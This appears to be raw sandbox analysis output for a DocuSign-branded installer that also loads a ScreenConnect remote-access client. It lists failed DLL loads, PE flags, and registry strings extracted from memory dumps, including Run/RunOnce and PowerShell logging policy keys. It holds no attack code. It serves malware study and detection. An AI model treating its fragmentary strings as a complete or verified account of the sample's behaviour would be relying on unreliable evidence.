failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "SecondInstaller.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "SecondInstaller.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "SecondInstaller.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\comctl32.dll" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "rundll32.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135]55:T649,"ScreenConnect.Windows.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "SecondInstaller.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "ScreenConnect.Core.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "mbapreq.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "DocuSign.BootstrapperApplication.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Microsoft.Deployment.WindowsInstaller.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "DocuSign.BootstrapperApplication.resources.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "mbahost.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "BootstrapperCore.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE56:T727d,"SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002772.00000000.215210.140BB000.00000002.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}p" in Source: 00000000-00002772.00000000.215210.DE600000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002772.00000000.215210.E08D0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowSmtpFallbackToPlainTextoxyTunnelConnectionEarlying" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "Software\Microsoft\Windows NT\CurrentVersion\InstallationType" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v{0}" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseSafeSynchronousClose" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.UseStrictRfcInterimResponseHandling" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowDangerousUnicodeDecompositions" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.UseStrictIPv6AddressParsing" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Uri.AllowAllUriEncodingExpansion" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.ServicePointManager.FinishProxyTunnelConnectionEarly" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowNewLineInFtpCommand" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\v4.0.30319\System.Net.AllowSmtpFallbackToPlainText" in Source: 00000000-00002772.00000000.215210.E0B80000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\ScreenConnect Client (de1a37d99a21998c)" in Source: 00000000-00005036.00000000.215916.05470000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp "E\Software\M" in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006420.00000000.214162.CF280000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Strong Cryptographic Provider" in Source: 00000000-00006420.00000000.214162.E9770000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006420.00000001.214348.140BB000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "E\Software\M" in Source: 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006420.00000001.214348.CF280000.00000004.mdmp "NE\SOFTWARE\Micr0x" in Source: 00000000-00006420.00000001.214348.E9770000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\%ls\Updates\" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Policies\" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "Software\Classes\Installer\Dependencies\" in Source: 00000000-00007000.00000000.217481.00B8A000.00000002.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00007000.00000000.217481.01190000.00000004.mdmp "[1B58:16BC][2026-11-06T09:36:08]i371: Updating session, registration key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}, resume: Active, restart initiated: No, disable resume: No" in Source: 00000000-00007000.00000000.217481.01190000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.80.1!7" in Source: 00000000-00007000.00000000.217481.01190000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7" in Source: 00000000-00007000.00000000.217481.01190000.00000004.mdmp "SOFTWARE\Docusign\Docusign Print Driver\3.0" in Source: 00000000-00007000.00000001.219402.01190000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00007000.00000001.219402.01190000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\DocuSign.PrintDriverApplication.exe" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Installer" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "HKEY_LOCAL_MACHINE32\SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports" in Source: 00000000-00007000.00000001.219402.07520000.00000004.mdmp "SOFTWARE\Docusign\Docusign Print Driver\3.0" in Source: 00000000-00007000.00000002.221320.01190000.00000004.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION" in Source: 00000000-00007000.00000002.221320.01190000.00000004.mdmp "DIFXAPP: INFO: opening HKEY_USERS\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\DIFxApp\Components\{EF717B88-6178-480E-9B31-454073D454EC} (User's SID: 'S-1-5-21-735145574-3570218355-1207367261-1001') ..." in Source: 00000000-00007000.00000002.221320.01190000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\DocuSign.PrintDriverApplication.exe" in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp "1: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9} 2: {7A11711E-62C9-466B-B2ED-56760318E867} 3: 22:\SOFTWARE\Docusign\Docusign Print Driver\3.0\LaunchOnStartup " in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp "1: {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9} 2: {E0D38B55-09E7-4238-9462-52443C20AD5C} 3: 22:\SOFTWARE\Docusign\Docusign Print Driver\3.0\installed " in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp "SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Ports" in Source: 00000000-00007000.00000002.221320.07520000.00000004.mdmp ": {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9} 2: {E1745CF7-7A39-48DF-9796-A25E3ECD8EA2} 3: 22:\SOFTWARE\Docusign\Docusign Print Driver\3.0\shortcut " in Source: 00000000-00007000.00000002.221320.07A20000.00000004.mdmp ": {A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9} 2: {E0D38B55-09E7-4238-9462-52443C20AD5C} 3: 22:\SOFTWARE\Docusign\Docusign Print Driver\3.0\installed " in Source: 00000000-00007000.00000002.221320.07A20000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007008.00000001.218598.01410000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007008.00000001.218598.01410000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007008.00000001.218598.01410000.00000004.mdmp "[1B58:16BC][2026-11-06T09:36:08]i371: Updating session, registration key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}, resume: Active, restart initiated: No, disable resume: No" in Source: 00000000-00007008.00000001.218598.07110000.00000004.mdmp "[1B58:16BC][2026-11-06T09:36:08]i370: Session begin, registration key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}, options: 0x7, disable resume: No" in Source: 00000000-00007008.00000001.218598.07110000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007008.00000001.218598.07110000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007008.00000001.218598.07110000.00000004.mdmp "61-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007008.00000001.218598.07110000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\%ls\Updates\" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "SOFTWARE\Policies\" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "Software\Classes\Installer\Dependencies\" in Source: 00000000-00007008.00000002.220520.000CA000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00007008.00000002.220520.01410000.00000004.mdmp "Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007008.00000002.220520.01410000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00007008.00000002.220520.01410000.00000004.mdmp "[1B58:16BC][2026-11-06T09:36:08]i371: Updating session, registration key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}, resume: Active, restart initiated: No, disable resume: No" in Source: 00000000-00007008.00000002.220520.07110000.00000004.mdmp "[1B58:16BC][2026-11-06T09:36:08]i370: Session begin, registration key: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}, options: 0x7, disable resume: No" in Source: 00000000-00007008.00000002.220520.07110000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007008.00000002.220520.07110000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00007008.00000002.220520.07110000.00000004.mdmp "61-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00007008.00000002.220520.07110000.00000004.mdmp "RegistrySearch Id="NETFRAMEWORK45" Variable="NETFRAMEWORK45" Root="HKLM" Key="SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00007120.00000001.218409.01140000.00000004.mdmp, "stry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007120.00000001.218409.01140000.00000004.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\%ls\Updates\" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Policies\Microsoft\Windows\Installer" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "SOFTWARE\Policies\" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "Software\Classes\Installer\Dependencies\" in Source: 00000000-00007120.00000002.220326.00F5A000.00000002.mdmp, "RegistrySearch Id="NETFRAMEWORK45" Variable="NETFRAMEWORK45" Root="HKLM" Key="SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" in Source: 00000000-00007120.00000002.220326.01140000.00000004.mdmp "stry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00007120.00000002.220326.01140000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007528.00000000.214677.246F0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00007528.00000000.214677.246F0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "SYSTEM\CurrentControlSet\Control\CI\TRSData" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00007528.00000000.214677.26860000.00000004.mdmp 